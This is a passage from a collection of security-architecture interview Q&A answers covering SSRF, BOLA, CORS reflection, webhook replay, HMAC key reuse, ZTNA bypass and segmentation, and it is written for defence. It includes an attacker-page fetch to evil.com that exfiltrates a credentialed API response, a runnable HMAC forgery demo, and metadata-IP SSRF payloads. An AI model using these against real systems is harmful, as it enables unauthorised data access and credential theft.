- Bypass paths. Anything reaching the pod without the gateway: a cron job posting to the cluster service DNS, a peer service on east-west mesh traffic, a sidecar or admin port, a leftover debug endpoint. No token validated, no header injected, no rate limit applied.
- Forged identity.
X-User-Idis a string any process on that network can set, and the gateway overwrites it only on requests that pass through the gateway. A "missing header means internal caller" default fails open on exactly the paths you cannot observe. - No object-level check. The gateway verified scope
orders:write, not that this user owns order 811. That is an IDOR, and it is reachable through the gateway with a perfectly legitimate token. - Limits that count requests, not work. 100 rps per token at the edge, each request fanning out to three downstream services, the mesh retrying each failed call twice: a retry storm turns 100 rps into up to 900 rps at the leaves. Budgets also multiply per caller: five tokens per session, or forty routes limited separately.
Where the check has to live
# Python 3.12, FastAPI-style sketch
import ipaddress
TRUSTED_PROXY_NETS = [ipaddress.ip_network("10.0.0.0/8")]
def caller_subject(request: Request) -> str:
addr = ipaddress.ip_address(request.client.host)
if not any(addr in net for net in TRUSTED_PROXY_NETS):
raise HTTPException(401)
sub = request.headers.get("X-User-Id")
if sub is None:
raise HTTPException(401) # an absent header is not an internal caller
if not jwt_valid(request.headers.get("X-Jwt"), audience="account-service"):
raise HTTPException(401) # verify the token, do not trust its presence
return sub
@app.post("/accounts/{account_id}/merge")
def merge(account_id: int, request: Request):
sub = caller_subject(request)
row = db.get_account(account_id) # the object lives here, not at the edge
if row is None or row.owner != sub:
raise HTTPException(403)
return db.merge_accounts(account_id, sub)
Trace it against a cron job in the same namespace posting X-User-Id: 4411 and no token to http://account-svc:8080/accounts/811/merge, where 811's owner really is 4411, so the forged header claims the right user:
| Call | What it actually proves | Result |
|---|---|---|
| user 4411 through the gateway | valid JWT with aud=account-service; gateway set X-User-Id | sub is "4411", 811 is theirs: one merge |
| in-cluster cron with the header only | nothing; the header is unauthenticated | passes the CIDR gate (pods all sit inside 10.0.0.0/8), fails the JWT check: 401, zero merges |
| same cron holding a service token, sub=svc-batch | a valid, correctly-audienced token | row.owner is "4411", not "svc-batch": 403, zero merges |
The CIDR gate does not save you: network origin is not identity. The side effect is that the cron job now has to obtain a token, which makes it visible and auditable.
What repeating the check costs
- Duplication and drift. Twelve services with twelve owner checks means twelve edits when "owner" becomes "owner or delegate". A shared library helps until release trains diverge; a central policy engine (OPA/Rego, Cedar, OpenFGA) removes drift but adds a dependency.
- Latency and availability. In-process policy evaluation costs microseconds and no I/O. A remote PDP adds an in-cluster round trip: order 0.5-2 ms p50, worse in the tail, and becomes a hard dependency whose timeout you must decide to fail closed on; a sidecar with a pushed bundle avoids the per-request RPC and bounds staleness by the push interval. Re-verifying the JWT in the service is cheap beside that (tens to a couple hundred microseconds for RS256 with a warm JWKS cache), and where mTLS already exists, use the peer's SPIFFE identity for service-to-service calls and the token only for user attribution.
- Two identities, not one. The service needs both "which user" and "which service is calling", or the audit log cannot attribute a merge.
When gateway-only is genuinely fine
Authenticating the caller (signature, expiry, issuer, audience), IP allowlists, TLS, WAF, global quotas and route-level method restrictions belong at the edge. Endpoints where the object is the subject (/me, /my-orders) need nothing more. A single-tenant internal service with no per-object ownership and no untrusted callers is defensible, but say that assumption out loud: it stops being true the moment a second tenant or an in-cluster job appears. Object reads and writes, enumerable resources, and anything reachable from inside the cluster are not fine.
How you would know
Diff the gateway access log against each service's inbound log on request ID; every service request with no gateway ancestor is a bypass, and that set should be empty or an explicit allowlist (health checks, metrics scrapes).
Curated: · Written: · Reviewed:
Q&A-63ZTNA covers HTTPS apps. Developers set DoH and talk to internal APIs by IP. What did the architecture miss?
The 90-second answer
ZTNA enforced identity at the name layer and left the packet layer alone. Three things were missed: DNS steering is bypassable, the IP path to the service still exists, and the service itself still authorizes on network location. Any one of those makes the proxy optional.
Why the name layer is not the enforcement point
Most ZTNA deployments work by getting the client to send traffic to a broker, and the broker picks the app from the hostname: the Host header or the TLS SNI. A connection to 10.8.2.44 has no hostname, so there is no app to match and no policy to apply. If a route to 10.8.2.44 still exists (VPN, VPC peering, transit gateway, a flat corp network) the packet arrives and the app answers. The proxy never sees it.
DNS is how the client gets steered, so DNS is the thing to attack. DoH and DoT move resolution to a resolver the enterprise does not control. Chrome's DnsOverHttpsMode policy, Firefox's network.trr.mode, and curl --doh-url all do it, and a developer who wants to skip a broken split-horizon record will find them in about a minute. Once resolution is off-network, internal names either fail (annoying, so people fall back to IPs) or resolve to the real address and bypass the broker entirely.
The third gap is the app. If the API trusts RFC1918 source addresses, or has no mTLS and no identity header check, then reaching it is authorizing to it. ZTNA put identity at the edge and the app kept trusting the network.
What closes it
- Remove the path, not just the name: the service accepts connections only from the connector's address range, and the connector is the only thing with a route to it. Deny direct IP at the app's firewall or security group.
- Make the app require proof of identity: mTLS from the connector, or a signed identity header (JWT) the app validates. Source IP is not identity.
- Own DNS: resolve internal names only through the access plane, and block public DoH/DoT endpoints at egress. Known resolver IPs plus browser enterprise policy. You will not catch every DoH endpoint, so pair it with the app-side check.
- Detect: egress logs to
1.1.1.1:443,8.8.8.8:443,dns.google; app access logs with no identity header; netflow to internal ranges that does not originate from the connector.
| Path | Reaches app | Identity seen | App authorizes on |
|---|---|---|---|
| browser → broker → app | yes | SSO + JWT | identity |
curl https://10.8.2.44/ | yes, route open | none | RFC1918 source IP |
| same curl after deny-direct + mTLS | dropped | — | — |
Worked example (illustrative numbers)
A contractor on a managed laptop ran curl against the API by IP. The route existed, the app trusted 10.0.0.0/8, and the request carried no SSO. 55,000 records were read before anyone looked. The broker logs were clean because the broker was never in the path.
Verification
From a managed laptop: curl --connect-timeout 3 https://10.8.2.44/health must fail with a timeout or connection refused, and the same request by hostname must succeed and appear in the access log with an identity attached. Run it after every network change, not once.
Trade-off
Closing the IP path breaks things that legitimately use IPs: health checks, service-to-service calls, database clients, gRPC without a name. Those need their own identity path (mTLS, workload identity), not an exception carved into the firewall.
Curated: · Written: · Reviewed:
Q&A-86Security groups and WAF are complete for IPv4. IPv6 is enabled for future-proofing. What is missing?
Assumptions I'd state first: the VPC is dual-stack, instances get globally routable IPv6 addresses (there is no NAT for v6), WAF sits on an ALB or CloudFront, and the v4 controls were written with 0.0.0.0/0 CIDRs.
The answer: what's missing is the v6 half of every control that was expressed as a CIDR, plus the telemetry that would reveal the gap. Security groups are default-deny per address family, so an SG with no v6 rules doesn't leak by itself, but the first person who adds ::/0 to make a test pass opens it, and nothing on the v4 dashboard changes.
Control by control:
| Control | v4 state | v6 gap |
|---|---|---|
| SG ingress | 0.0.0.0/0 on 443, deny 22 | 0.0.0.0/0 does not match v6; no v6 rule = deny, ::/0 = open |
| SG referencing another SG | works | family-agnostic, no gap |
| NACL | explicit allow/deny | stateless, needs its own v6 rules in both directions |
| WAF IP set / allowlist | v4 CIDRs | an IP match condition holding only v4 CIDRs never matches a v6 client: allowlists fail closed, blocklists fail open |
| Egress | NAT gateway | no NAT for v6; needs an egress-only IGW or v6 egress is simply blocked |
| App-layer client IP | XFF parsed as v4 | v6 literals in XFF, trusted-proxy lists, per-IP rate limits |
| IMDS | 169.254.169.254 | fd00:ec2::254 |
| Flow logs / dashboards | v4 tiles | v6 records exist but no tile, filter or alert reads them |
The failure mode I'd actually expect is the last two rows together: a control enforced on v4, absent on v6, and invisible because the dashboard only counts v4. Illustrative example, not a measured one:
| Family | SSH | Instances compromised | Dashboard |
|---|---|---|---|
| IPv4 | deny | 0 | clean |
| IPv6 | ::/0 | 2 of 22 | no v6 tiles |
| after parity | deny | 0 | both families |
The v4 dashboard stayed green through the whole thing.
How I'd verify rather than assume: from outside, nmap -6 the dual-stack VIP for exactly the ports v4 denies and require the same deny; curl -6 the WAF-protected endpoint and confirm the block page; then read VPC Flow Logs for v6 records and confirm they land in a dashboard someone watches. Parity you can't observe isn't parity.
When not to do this: if nothing in the account needs v6, don't clone the controls. Remove the v6 CIDR association and stop assigning public v6 addresses. A second address family that is half-controlled is worse than one that was never enabled, because the half that's missing is the half nobody is alerting on.
Curated: · Written: · Reviewed:
Q&A-104Every workload in the estate can reach every other on 443. Walk me through how you segment it to contain lateral movement, and how you phase the change without breaking production.
First I'd pin down what we're containing. A flat network means one RCE in a low-value workload (a marketing site, a batch job) can reach the payment database and the CI control plane on 443. The goal isn't a prettier diagram; it's making that pivot cost the attacker a second, independent compromise.
Assumptions I'd state up front: we have workload identity (mTLS or cloud IAM roles) or we're about to; we don't have an accurate flow map yet; and we can't take an outage window.
My answer is two layers, because neither is sufficient alone.
Network ACLs are coarse and dumb. They answer "can this source reach this port" and nothing else. They fail closed, they don't care if the identity provider is down, and they're cheap to enforce at the host or subnet boundary. But they can't tell two workloads apart if they share an IP range, and in a container estate IPs churn, so rules rot.
Identity-aware policy answers "can this workload, authenticated as X, call operation Y on service Z". It survives IP churn, it's the only way to express "the checkout service may read the payments table but the reporting job may not", and it gives you an audit trail of who called what. But it only works if the identity can't be forged and the enforcement point is actually on the path. A policy that trusts an X-SPIFFE header instead of a verified mTLS peer certificate is a suggestion, not a control. And it adds a dependency: if the policy engine or IdP is down, you choose fail-open (no segmentation) or fail-closed (outage) per zone.
So: network segmentation bounds the blast radius even when identity is wrong; identity-aware policy gives you the granularity to avoid writing thousands of ACL rows. Use both.
| Network ACL / zone | Identity-aware policy | |
|---|---|---|
| Decides on | source IP, port | authenticated workload identity + operation |
| Survives IP churn | no | yes |
| Behaviour when IdP is down | unaffected | fail-open or fail-closed, chosen per zone |
| Granularity | coarse | per-call |
| Maintenance | rots as addresses move | scales with services, not addresses |
Phasing, because a big-bang default-deny on a flat network is an outage:
- Observe. Flow logs or eBPF for two to four weeks. Build the dependency graph from observed traffic, not the CMDB: the CMDB is 70% accurate and the flows are the truth.
- Zone by data sensitivity and trust, not org chart: edge, app, data, control plane (CI, secrets, K8s API), management. Six zones is enough to start.
- Write policy in monitor mode. Log what would be denied, diff against the flow map. This is where you find the forgotten cron job.
- Enforce default-deny in the zone with the fewest legitimate callers first: usually the control plane. Small blast radius, high value.
- Then the data tier. Then east-west app traffic, which is the hardest and goes last.
Arithmetic on why this matters: 400 services fully meshed is ~80,000 potential paths. Six zones with default-deny is a few dozen zone-pair rules plus the observed flows (maybe 2,000) and you can enforce the first 40 this quarter.
Failure modes I'd name: monitor mode that never gets enforced, so the policy is theatre; identity-aware policy that trusts a header rather than a verified peer; segmentation that leaves the shared identity plane intact (one service account, one cluster-admin) so the attacker walks around your zones; DNS allowed to everything, which is an exfil channel; and no documented rollback for the enforcement change itself.
Curated: · Written: · Reviewed: —
Q&A-99A segmentation change ships Friday with no documented rollback. Why is that a security-architecture issue?
The 90-second answer
A segmentation change is a control on blast radius, and a control's specification includes how it is removed. Shipping one with no documented rollback means time-to-restore is unbounded and unknown, so the risk accepted on Friday is not the risk of the intended policy: it is that plus an outage you cannot bound. That is an architecture problem rather than a change-management one because both ways a segmentation rule fails land on security. It over-blocks and cuts the paths incident response, EDR telemetry, backup and patching depend on, which degrades detection and response exactly when you need them. Or it under-blocks, and you believe you have segmentation you do not have: a silent false-assurance failure, which is worse because nothing alerts on it. A rollback path bounds both, and an undocumented rollback is also an untested one, so its real duration is a guess. Friday compounds it: the people who can reconstruct the diff and reach the device are least available, and the change sits unobserved over a weekend, so the detection gap and the restore gap coincide.
What "documented rollback" has to contain
The artefact (the exact previous policy or a version reference), the trigger (what signal causes the revert, and who decides), a time-to-undo SLO, and a named person on call who has executed the rehearsal. If any of those is missing, the change is not ready.
Choosing a rollback strategy
| Strategy | Restores | Realistic time to restore | Choose it when | Where it fails |
|---|---|---|---|---|
| Manual revert of the change | Previous config, if you can reach the device and reconstruct the diff | Minutes to hours, set by who is awake | Small, low-consequence changes on a device you can always reach | The change removed your own access path, or the diff was never recorded |
| Versioned policy with atomic revert | Last committed policy in one operation | Seconds to a couple of minutes | The platform retains config versions and the revert path does not traverse the changed path | Previous version not retained, or the revert is pushed through the broken path |
| Commit-confirm / dead-man timer | Previous policy automatically if the change is not confirmed | Bounded by the timer you set | Friday or out-of-hours changes | Timer is longer than the outage you can tolerate, or nobody is watching the probe |
| Parallel enforcement path (second device or documented bypass) | Service, independent of the changed device | As long as the switch takes | The control is load-bearing for IR access | The bypass is itself inside the segment you are changing |
Deciding criteria: can you reach the device when the change is wrong; does the revert path share fate with the change; and how long can you run with the control absent versus present-but-wrong. For segmentation, present-but-wrong is the worse quadrant, so prefer strategies whose revert path does not traverse the changed path.
Failure modes and how you detect them
- IR or EDR lockout: a synthetic probe from the jump host to the EDR management endpoint and the backup target, every 30s through the change window, alerting on failure. Without the probe you discover the lockout when you need the path.
- Silent no-op rule: policy hit counters and flow logs. A deny rule with zero hits over a week is either unnecessary or not applied; determine which before trusting it.
- Rollback that does not work: rehearse in a clone, break it deliberately, and measure the restore against the SLO.
A commit-confirm sequence, on platforms that support it
- Push policy v42 with a 10-minute confirm timer.
- Probe from the IR jump host to the EDR management endpoint every 30s.
- Probe fails at t+90s; the operator does nothing.
- Timer expires at t+10min; the device reverts to v41 automatically.
- Probe recovers; the change is re-queued for a window with a human present.
If you cannot state the time to undo and who executes it, the change is not ready{
Curated: · Written: · Reviewed:
Q&A-53The app fetches URLs the user supplies for previews. The metadata service is a hop away. What do you design?
What I'd say first
Assume the preview worker runs in the same VPC as the metadata service and holds an instance role. The design has two layers, and the network layer is the one that matters: the fetcher runs with no credentials at all, and link-local plus RFC1918 egress is denied before the request leaves the host. Application-level URL validation is the second line, because it is the layer that gets bypassed by redirects, DNS rebinding, and a sibling service that copies the code without the check.
Concretely: a separate egress identity with no role that can mint credentials; IMDSv2 required with http-put-response-hop-limit=1 so a one-hop-away process can't get a token; egress policy denying 169.254.0.0/16, 127.0.0.0/8, 10/8, 172.16/12, 192.168/16, fc00::/7 and fe80::/10; and a fetch that follows redirects manually, re-validating each hop, capped at 3, with a 5 MB response cap and a 3 s connect timeout.
Where to enforce it: three options
| Enforcement point | Catches | Misses | Cost | Pick it when |
|---|---|---|---|---|
| App allow-list in the fetcher | typos, obvious metadata IPs | DNS rebinding, redirects, sibling services that skip the check | free | you fetch a small, enumerable set of hosts |
| Egress proxy all outbound HTTP is forced through | everything HTTP, centrally logged | non-HTTP egress, services that bypass the proxy | extra hop, TLS/CONNECT config, must block direct egress | many services fetch user URLs |
| Network policy / sidecar | everything, including non-HTTP | can't express "only this user's URL" | coarse, per-namespace | always, as the floor |
Allow-listing is impractical exactly when the product is "preview any URL a user pastes": you cannot enumerate the public internet, and CDN hostnames churn. Then the allow-list becomes a deny-list of internal ranges plus a proxy that resolves the hostname once and connects to that pinned IP.
The check, and why it isn't enough on its own
import ipaddress, socket, urllib.parse
BLOCKED = [ipaddress.ip_network(n) for n in (
"169.254.0.0/16", "127.0.0.0/8", "10.0.0.0/8",
"172.16.0.0/12", "192.168.0.0/16", "::1/128", "fc00::/7", "fe80::/10")]
def allowed(url, allow_hosts):
p = urllib.parse.urlsplit(url)
if p.scheme not in ("http", "https"):
return False
if p.hostname not in allow_hosts:
return False
for info in socket.getaddrinfo(p.hostname, None):
if any(ipaddress.ip_address(info[4][0]) in net for net in BLOCKED):
return False
return True
Trace: allowed("http://169.254.169.254/latest/meta-data/", hosts) → scheme ok, hostname not in hosts → False, no DNS lookup. allowed("https://cdn.example.com/a.png", hosts) with that host allowed → getaddrinfo returns 93.184.216.34, in no blocked net → True.
The gap: the getaddrinfo here and the connect inside the HTTP client are two separate resolutions, so a rebinding domain can pass the check and then resolve to 169.254.169.254. Close it by connecting to the pinned IP with the original Host header, or by doing the check in the proxy that owns the socket.
Failure modes and how I'd catch them
- Redirect to
http://169.254.169.254/: follow manually, re-validate each hop. - Decimal or octal encodings (
http://2852039166/): parse to an IP, don't string-match. - IPv6 link-local
fe80::and unique-localfd00::: same block list, not just IPv4. - DNS to an internal name: check every returned address, not the first.
- Response-size DoS: 5 MB cap,
Content-Typeallow-list, never echo the raw body.
Detection: alert on any egress to link-local or RFC1918 from the preview namespace, and keep a canary hostname that must always be refused.
Why I'd insist on the network layer
A preview URL of 169.254.169.254 returned instance-role credentials. Those credentials listed 2,200 S3 buckets; 8 of them were world-readable and held 900 GB of exports.
| Target | Blocked | Role creds returned | Buckets listed |
|---|---|---|---|
| 169.254.169.254, before | no | yes | 2,200 |
| same, after hop limit 1 + IMDSv2 + egress deny | yes | no | 0 |
Verification: request a preview of the metadata IP and of an internal admin host; require connection refused and an empty body, and confirm the same from a redirect chain.
Curated: · Written: · Reviewed:
Q&A-21Every endpoint sits behind authentication middleware. Why did tenant A download tenant B's invoices?
The 90-second answer. Authentication middleware proves the caller holds a valid session. It says nothing about which rows that session may read. The invoice handler almost certainly runs SELECT ... FROM invoices WHERE id = $1: the tenant is never in the predicate, so any valid session reads any row. That is broken object-level authorisation (BOLA, OWASP API Security Top 10 #1). Middleware cannot stop it, because middleware never sees the row.
State the assumption that decides the severity: the IDs are guessable or leaked. Sequential integers make this a script; UUIDs make it quiet, not fixed.
Where the check belongs, and what each option costs.
| Enforcement point | Catches a forgotten handler? | Covers cache / search / object storage? | Main failure mode |
|---|---|---|---|
| Per-handler check | No | No | One new endpoint reopens the hole |
Shared data-access layer that always adds AND tenant_id = ? | Only queries routed through the layer | No | Raw SQL or a new ORM path bypasses it |
| Postgres row-level security | Yes, for all SQL | No | Pooled connection carrying a stale app.tenant_id; table owner or BYPASSRLS role ignores the policy |
| External policy engine (OPA/Rego, Cedar) | Yes, if every call site consults it | Yes, if wired | Fail-open on policy-service outage; still needs the object loaded to evaluate |
RLS is the strongest single control when the app connects as a non-owner role and sets the tenant per transaction with SET LOCAL app.tenant_id. Under a transaction-mode pooler that setting must be scoped to the transaction, not the session, or the next request on that connection inherits it. A policy engine earns its hop when rules are complex or shared across services; it does not replace the tenant predicate, it centralises the decision.
UUIDs alone never suffice as the control. They raise enumeration cost; a leaked ID from a shared link, a log line, an export or a support ticket still grants access. Use UUIDv7 or ULID if you also want index locality, and treat it as defence in depth.
The bug and the fix, traced. Python 3.12, psycopg 3.
# Vulnerable: session tenant is available but unused in the query
def get_invoice(conn, invoice_id, session):
return conn.execute(
"SELECT id, tenant_id, pdf_url FROM invoices WHERE id = %s",
(invoice_id,),
).fetchone()
Request: session tenant A, GET /invoices/1042. Row 1042 has tenant_id = 'B'. The query matches on id alone, returns the row, the handler serves the PDF. 200 OK.
# Fixed: tenant is part of the predicate, not a separate check
def get_invoice(conn, invoice_id, session):
row = conn.execute(
"SELECT id, tenant_id, pdf_url FROM invoices "
"WHERE id = %s AND tenant_id = %s",
(invoice_id, session["tenant_id"]),
).fetchone()
if row is None:
raise NotFound # 404, not 403
return row
Same request: tenant_id = 'A' matches nothing, row is None, 404. Tenant B asking for 1042 still gets it. Return 404 rather than 403: a 403 confirms the object exists and turns the endpoint into an enumeration oracle.
Failure modes and how you catch them.
- A separate "is this mine?" call followed by a fetch is a TOCTOU window if ownership can change between them. Keep the check in the same query or transaction as the read.
- A cache keyed on invoice ID alone leaks across tenants even with a perfect database check. Tenant belongs in the key.
- Presigned object-storage URLs are bearer tokens with no tenant check at all; they need their own short TTL and per-tenant path scoping.
- Detection: a CI suite that creates objects under two tenants, then requests tenant B's IDs with tenant A's session for every resource type, asserting 404 and zero rows returned. Log session tenant against row tenant on every access and alert on any mismatch: it should never fire.
A session is not a title deed.
Curated: · Written: · Reviewed:
Q&A-22The parent project is tenant-checked. Nested comments are not. Is the API isolated?
I would answer BOLA on nested resources by separating the target invariant from the product that is supposed to implement it.
Tenant isolation that stops at the parent leaks through children, attachments, search, and export jobs. Architecture applies the same membership check to every object that can name a parent, including asynchronous workers.
Concretely, inherit tenant from a server-side lookup of the parent, never from a client-supplied tenant-id, and cover list, get, patch, delete, search, and export for every nested type.
The reason for that specificity is a failure I have seen: Comments accepted a projectId from the body without membership. An attacker iterated projectIds and scraped 310,000 comments, 4,800 of which contained access tokens pasted by developers.
Parent check versus nested scrape.
| Endpoint | Tenant check | Comments scraped | Tokens in comments |
|---|---|---|---|
| GET /projects/{id} | yes | — | — |
| GET /comments?projectId= | no | 310,000 | 4,800 |
| after inherited membership | yes | 0 of 20,000 probes | 0 |
I would not consider it settled without evidence: request nested objects under another tenant's parent from list, get, and export, and require empty results plus a uniform error that does not confirm existence.
The child is the parent for an attacker.
Curated: · Written: · Reviewed:
Q&A-23Partner webhooks are HMAC-signed. Why did we pay a payout twice?
The engineering content of webhook replay and idempotency is the reusable pattern and its evidence, not the local ticket that closed.
A signature proves the sender and the payload bytes, not that this delivery may be applied again. Financial and state-changing webhooks need a replay window, a nonce or event id, and an idempotent receiver so a retry cannot mint a second transfer.
Concretely, verify HMAC, timestamp, and audience, store processed event ids with a 72-hour replay cache, and make the payout unique on a business key so a second delivery returns the first result.
The reason for that specificity is a failure I have seen: A partner retried a signed payout webhook five times after a 504. The original plus those five retries each created a transfer. £72,000 left six times, £432,000 total, before the idempotency key existed.
HMAC without idempotency.
| Delivery | HMAC | Transfer created | Amount |
|---|---|---|---|
| original | valid | 1 | £72,000 |
| retries 2–6 | valid | 5 more | £360,000 |
| after event-id cache | valid | 0 extra | £0 |
| 80-hour delay | valid, expired ts | rejected | £0 |
I would not consider it settled without evidence: replay a valid signed webhook and a delayed copy outside the window, and require one business effect and one rejection.
Signed twice is not authorised twice.
Curated: · Written: · Reviewed:
Q&A-29One HMAC key signs cookies, webhooks, and password-reset tokens. Why split them?
Split them because an HMAC tag is just HMAC(key, message): it carries no record of what it was for. Any verifier holding the same key accepts any tag whose message bytes match its own, so a tag minted for one purpose is a valid tag for another whenever the bytes line up. The requirement is domain separation: the key or the message must differ per purpose. Separate keys is the stronger form, and it is what I would ship.
Here is the failure, in Python 3.12 with the stdlib hmac/hashlib:
import hmac, hashlib, base64
KEY = b"shared-hmac-key"
def sign(msg: bytes) -> str:
return base64.urlsafe_b64encode(
hmac.new(KEY, msg, hashlib.sha256).digest()).decode()
def verify(msg: bytes, tag: str) -> bool:
return hmac.compare_digest(sign(msg), tag)
reset_msg = b"alice:1900000000" # reset token message
reset_tag = sign(reset_msg)
webhook_body = b"alice:1900000000" # attacker-chosen body
webhook_tag = sign(webhook_body)
print(reset_tag == webhook_tag) # True
print(verify(reset_msg, webhook_tag)) # True -> forged reset token
Trace: sign is deterministic HMAC-SHA256 over KEY and msg. reset_msg and webhook_body are the same bytes, so both digests are identical and reset_tag == webhook_tag prints True. verify(reset_msg, webhook_tag) recomputes sign(reset_msg), which equals webhook_tag, so it prints True. The webhook signer acted as an oracle: anything it signs is a valid reset token. The fix is to bind purpose into the input, hmac.new(KEY, purpose + b"\x00" + msg, ...), or to use a distinct key per purpose.
| Approach | Cross-purpose forgery | Rotation | Cost |
|---|---|---|---|
| Separate key per purpose | blocked by key | independent | N secrets, N rotation jobs, N KMS entries |
| One key, purpose prefix in message | blocked by prefix | coupled | 1 secret; every call site must pass the purpose |
| One key, no prefix | possible | coupled | none |
Separate keys also let you rotate one purpose without touching the others, keep the webhook key in the third-party integration's custody while the cookie key stays in the app, and pick a different algorithm per purpose. The cost is real: more secrets in the manager, more rotation jobs to schedule, more places to get wrong.
Failure modes to watch. A purpose prefix that one call site forgets silently reverts to the shared-key case: detect it with a test that signs under one purpose and asserts verification fails under another. Coupled rotation means a webhook key leak forces a cookie-key rotation too, logging out every session; independent keys avoid that. And a leaked webhook key with no separation mints sessions and resets, not just webhooks.
When a single key is acceptable: if every message is prefixed with a fixed purpose string and that prefix is enforced in one shared signing helper, you get domain separation without extra secrets. That is fine for a small service. I would still split keys once purposes have different owners, different rotation cadences, or different blast radii, which is the case for cookies, webhooks, and password resets.
Curated: · Written: · Reviewed:
Q&A-85API CORS is Access-Control-Allow-Origin star with credentials. Why is that an architecture bug?
Assumptions I'd state first: a first-party SPA on app.example.com calling api.example.com, session-cookie auth, cookie set SameSite=None; Secure so it rides cross-site requests. If any of those is false the analysis changes, so I'd confirm them before answering.
Direct answer: Access-Control-Allow-Origin: * together with Access-Control-Allow-Credentials: true is not exploitable. The Fetch spec makes the browser fail the CORS check and withhold the body. The bug that actually ships is the near-miss: reflecting the request's Origin header back into Access-Control-Allow-Origin while sending Access-Control-Allow-Credentials: true. That is wildcard-with-credentials with a header value the browser accepts, and it lets any site read authenticated responses.
Mechanism. The browser attaches Origin to cross-origin requests and, after the response arrives, runs the CORS check: for a credentialed request the Access-Control-Allow-Origin value must match the request origin exactly, and Access-Control-Allow-Credentials must be true. Only then does it hand the body to the calling script. A server that echoes Origin satisfies both conditions for every caller. A simple GET with credentials needs no preflight, so there is no OPTIONS gate to catch it.
Trace, attacker page on evil.com:
fetch('https://api.example.com/v1/me', {credentials: 'include'})
.then(r => r.json()).then(d => exfil(d));
- Browser sends
Cookie: session=…(SameSite=None) andOrigin: https://evil.com. - Server echoes
Access-Control-Allow-Origin: https://evil.comandAccess-Control-Allow-Credentials: true. - Browser compares the two (exact match, credentials allowed) and exposes the JSON.
Had the server sent *, step 3 fails: credentials mode include plus a wildcard origin is a CORS failure, body withheld. The star is safe by accident; the reflection is the defect.
How this differs from CSRF. CSRF abuses the browser's automatic cookie attachment to force a state change; the attacker cannot read the response because the same-origin policy withholds it. CORS reflection removes that read barrier, so it is data exfiltration, not action forgery. CSRF tokens do not help: the request is a legitimate credentialed request and the response is readable.
Alternatives, and when to pick each:
| Option | Stops reflection? | Pick when |
|---|---|---|
| Exact-origin allow-list, string equality | Yes | Few known first-party origins |
Bearer token in Authorization, no cookies | Yes: no ambient credential to steal | SPA + API on different sites, or third-party consumers |
SameSite=Lax/Strict cookie | Yes: cookie never sent cross-site | First-party only, no cross-site embedding |
Same-site API (api.example.com under app.example.com) | Removes CORS entirely | You control both hostnames |
| BFF proxy on the app's own origin | Removes CORS entirely | You can terminate API calls server-side |
Failure modes and detection. Suffix matching (origin.endsWith('example.com')) admits evil-example.com and any compromised subdomain: use exact equality. Reflecting without Vary: Origin lets a CDN cache one origin's Access-Control-Allow-Origin and serve it to another. Allow-listing the literal null origin (sandboxed iframes, file://) is equivalent to wildcard. Detect with an automated test that fires a credentialed request from a foreign origin and asserts the body is unreadable, plus an alert on any Access-Control-Allow-Origin value not in the allow-list.
Curated: · Written: · Reviewed:
Q&A-97The API trusts any client that presents a valid user token. A cloned APK talks to prod. What is missing?
Assumptions: Android and iOS clients, app distributed through Play and the App Store, bearer user tokens, and the sensitive endpoints are things like points transfer or redemption. If the app is sideloaded or shipped outside Play, Play Integrity returns no usable verdict and you need a different plan.
What's missing: attestation of the app and the device, bound to each sensitive request, enforced server-side. A user token proves which account is calling. It says nothing about whether the caller is your binary. A cloned APK holding a stolen token is indistinguishable from your app at the API layer, because both present the same bearer token.
How it works. On Android, Play Integrity standard requests return a signed token carrying app integrity (appRecognitionVerdict: PLAY_RECOGNIZED vs UNRECOGNIZED_VERSION), device integrity (deviceRecognitionVerdict), and account details. Your server verifies the signature, checks the verdicts, and, the part teams skip, checks that the nonce you issued for this request matches the one in the token. On iOS, App Attest generates a key in the Secure Enclave and signs per-request assertions; DeviceCheck gives two bits per device per day for coarser signals.
Without nonce binding, a cloned app captures one valid attestation token and replays it. Attestation proves the app at the moment of attestation, not that this request came from it.
# server-side, per sensitive request
nonce = issue_nonce(user_id) # single-use, short TTL
# client calls Play Integrity with this nonce, sends the token back
payload = decode_integrity_token(token)
assert payload["requestDetails"]["nonce"] == nonce
assert payload["requestDetails"]["requestPackageName"] == EXPECTED_PACKAGE
assert "PLAY_RECOGNIZED" in payload["appIntegrity"]["appRecognitionVerdict"]
assert "MEETS_DEVICE_INTEGRITY" in payload["deviceIntegrity"]["deviceRecognitionVerdict"]
| Verdict | Means | Action |
|---|---|---|
MEETS_STRONG_INTEGRITY | recent device, hardware-backed | allow high-value writes |
MEETS_DEVICE_INTEGRITY | genuine device, not rooted or emulated | allow |
MEETS_BASIC_INTEGRITY | device may be rooted or emulated | reads only |
| no verdict | no Play services, or sideloaded | explicit fallback path |
Trade-offs. Play Integrity needs Google Play services and a Play-distributed app; Huawei, AOSP and sideloaded users get no verdict, so you must decide the fallback explicitly. Treating MEETS_BASIC_INTEGRITY as a pass lets rooted and emulated devices through: it is a much weaker bar than device integrity. Standard requests are cheaper and lower-latency than classic requests, which carry tighter quotas; caching a verdict per device for a few minutes cuts calls but widens the replay window. Refusing emulators outright breaks CI and QA and locks out legitimate users, so many teams allow emulators on reads and require device integrity only on high-value writes.
Alternatives, and when attestation isn't worth it. Certificate pinning stops a passive MITM but not a cloned app that talks to your API directly. Obfuscation (R8, string encryption) raises the cost of cloning without stopping it. Server-side velocity limits and per-account anomaly detection catch the drain even when attestation is bypassed, and they are the only layer that works on endpoints you cannot attest. For public read-only endpoints, attestation adds a round trip and a Play-services dependency for little gain.
Failure modes. Replay without nonce binding. Rooted devices running integrity-bypass frameworks that pass or fail inconsistently. Quota exhaustion on classic requests, which fails open if you wrote the check that way. And the one attestation never covers: a genuine app on a genuine device driven by a stolen token, which is why per-account rate limits and step-up auth on high-value actions stay in place.
Curated: · Written: · Reviewed:
Q&A-100A broken object check was patched on the service that paged. Twenty-three siblings still copy the old handler. Are we done?
No. You fixed an instance, not the class. The paged service is one of 24 copies of the same handler; the other 23 still carry the broken check, and whatever produced them will produce more.
Three things decide whether you're done, and none of them is the patch:
- Is the check duplicated or shared? If each service owns its own copy, there is no single fix point and the next copy is already scheduled.
- Can a new service still be created with the old handler? If the template, generator, or reference service still emits it, the count goes up.
- Are the 23 siblings enumerated with owners and dates? "We'll get to them" is not a plan.
Why one patch doesn't cover a class. A broken object check is a per-request authorization decision on a resource id. It fails as a class because the decision is copy-pasted instead of owned by one component. The patch changed one copy. The class lives in whatever the copies came from: a service template repo, a code generator, a shared auth library, or a reference service people clone.
Illustrative, with hypothetical figures. The check in each sibling looks like this:
// Java 17 / Spring Boot 3.2 — the copy in each of the 23 siblings
@GetMapping("/invoices/{id}")
Invoice get(@PathVariable String id, @AuthenticationPrincipal User user) {
